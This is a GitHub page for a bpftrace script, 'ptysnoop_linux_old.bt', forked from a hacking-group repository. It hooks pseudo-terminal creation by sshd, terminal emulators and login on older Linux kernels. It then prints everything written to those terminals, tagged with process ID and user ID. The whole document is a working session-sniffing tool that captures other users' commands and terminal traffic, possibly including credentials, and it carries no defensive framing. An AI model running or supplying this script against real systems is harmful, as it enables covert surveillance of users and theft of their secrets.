forked from hackerschoice/bpfhacks
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathptysnoop_linux_old.bt
executable file
·186 lines (155 loc) · 4.61 KB
/
ptysnoop_linux_old.bt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#! /usr/bin/env bpftrace
/*
* Use this for OLD Linux pre 5.15.
*
* BPFTRACE_STRLEN=200 bpftrace -B none --no-warnings ./ptysnoop_linux_old.bt <PID> <PTY's FD>
*
* Limitations:
* - Max FD for ptmx < 64.
* - Not working for PTY's spawned via docker.
* - You may need to delete the sys_enter_writev part below (for very old Linux systems)
*/
/*
TODO:
- close function must delete (@fds
*/
BEGIN
{
@last_special = 0x0d;
if ($2 == 0) { return; }
@is_tty_snoop = 1;
if ($# >= 2) { @fds[$1, $2] = (uint64)$2; }
if ($# >= 4) { @fds[$3, $4] = (uint64)$4; }
if ($# >= 6) { @fds[$5, $6] = (uint64)$6; }
if ($# >= 8) { @fds[$7, $8] = (uint64)$8; }
}
END
{
delete(@last_id);
delete(@last_special);
delete(@is_tty_snoop);
clear(@fds);
}
tracepoint:syscalls:sys_enter_openat,tracepoint:syscalls:sys_enter_open
/$1 == 0/
{
if (str(args->filename) != "/dev/ptmx") { return; }
if (@is_tty_snoop > 0) { return; }
if (comm == "sshd") { $hit = 1; }
if ($hit == 0 && strcontains(comm, "term") == 1) { $hit = 1; }
if ($hit == 0 && comm == "login") { $hit = 1; }
if ($hit == 0) { return; }
@is_ptmx[pid] = pid;
}
tracepoint:syscalls:sys_exit_openat,tracepoint:syscalls:sys_exit_open
/$1 == 0 && args->ret >= 0 && args->ret < 64/
{
if (@is_ptmx[pid] == 0) { return; }
delete(@is_ptmx[pid]);
@fds[pid, args->ret] = (uint64)args->ret;
}
tracepoint:syscalls:sys_enter_close
/$1 == 0 && args->fd >= 0 && args->fd < 64/
{
delete(@fds[pid, args->fd]);
}
tracepoint:sched:sched_process_exit
/$1 == 0/
{
$i = 0;
unroll(64) {
delete(@fds[pid, $i]);
$i += 1;
}
}
tracepoint:syscalls:sys_enter_write,
/args->count > 0 && args->fd > 0/
{
if (@fds[pid, args->fd] == 0) { return; }
$b = args->buf;
$len = args->count;
// -----START IDENDICAL COPY FOR WRITEV-----
$last_id = @last_id;
$this_id = pid * 64 + args->fd;
// Do not output Arrow-UP/DOWN
if ($len == 3 && $b[0] == 0x1b) { return; }
$special = -1;
if ($len == 1) {
// Special character. Only output ONCE
if ($b[0] < 0x20 || $b[0] > 0x7e) {
$special = $b[0];
}
}
if ($last_id != $this_id) {
// PID has changed
if (@last_special != 0x0d) { printf("\n"); }
printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
@last_id = $this_id;
@last_special = -1;
}
if ($special >= 0) {
// Only output special characters ONCE.
if (@last_special == $special) { return; }
// Never output if at the beginning of a new line
if (@last_special == 0x0d) { return; }
if ($special == 0x08 || $special == 0x7f) {
printf("\x1b[2m\\d\x1b[0m"); // DEL
} else if ($special == 0x09) {
printf("\x1b[2m\\t\x1b[0m"); // TAB
} else if ($special == 0x0d) {
printf("\n");
}
@last_special = $special;
return;
}
@last_special = 0;
printf("%r", buf($b, $len));
// -----END IDENTICAL COPY FOR WRITEV-----
}
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// DELETE ALL BELOW HERE FOR VERY OLD LINUX SYSTEMS
//@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
tracepoint:syscalls:sys_enter_writev
/args->vlen > 0/
{
if (@fds[pid, args->fd] == 0) { return; }
$b = (uint8 *)args->vec[0].iov_base;
$len = args->vec[0].iov_len;
// -----START IDENDICAL COPY FOR WRITEV-----
$last_id = @last_id;
$this_id = pid * 64 + args->fd;
// Do not output Arrow-UP/DOWN
if ($len == 3 && $b[0] == 0x1b) { return; }
$special = -1;
if ($len == 1) {
// Special character. Only output ONCE
if ($b[0] < 0x20 || $b[0] > 0x7e) {
$special = $b[0];
}
}
if ($last_id != $this_id) {
// PID has changed
if (@last_special != 0x0d) { printf("\n"); }
printf(">>>> \x1b[0;33m%d\x1b[0m %s (uid=%d):\n", pid, comm, uid);
@last_id = $this_id;
@last_special = -1;
}
if ($special >= 0) {
// Only output special characters ONCE.
if (@last_special == $special) { return; }
// Never output if at the beginning of a new line
if (@last_special == 0x0d) { return; }
if ($special == 0x08 || $special == 0x7f) {
printf("\x1b[2m\\d\x1b[0m"); // DEL
} else if ($special == 0x09) {
printf("\x1b[2m\\t\x1b[0m"); // TAB
} else if ($special == 0x0d) {
printf("\n");
}
@last_special = $special;
return;
}
@last_special = 0;
printf("%r", buf($b, $len));
// -----END IDENTICAL COPY FOR WRITEV-----
}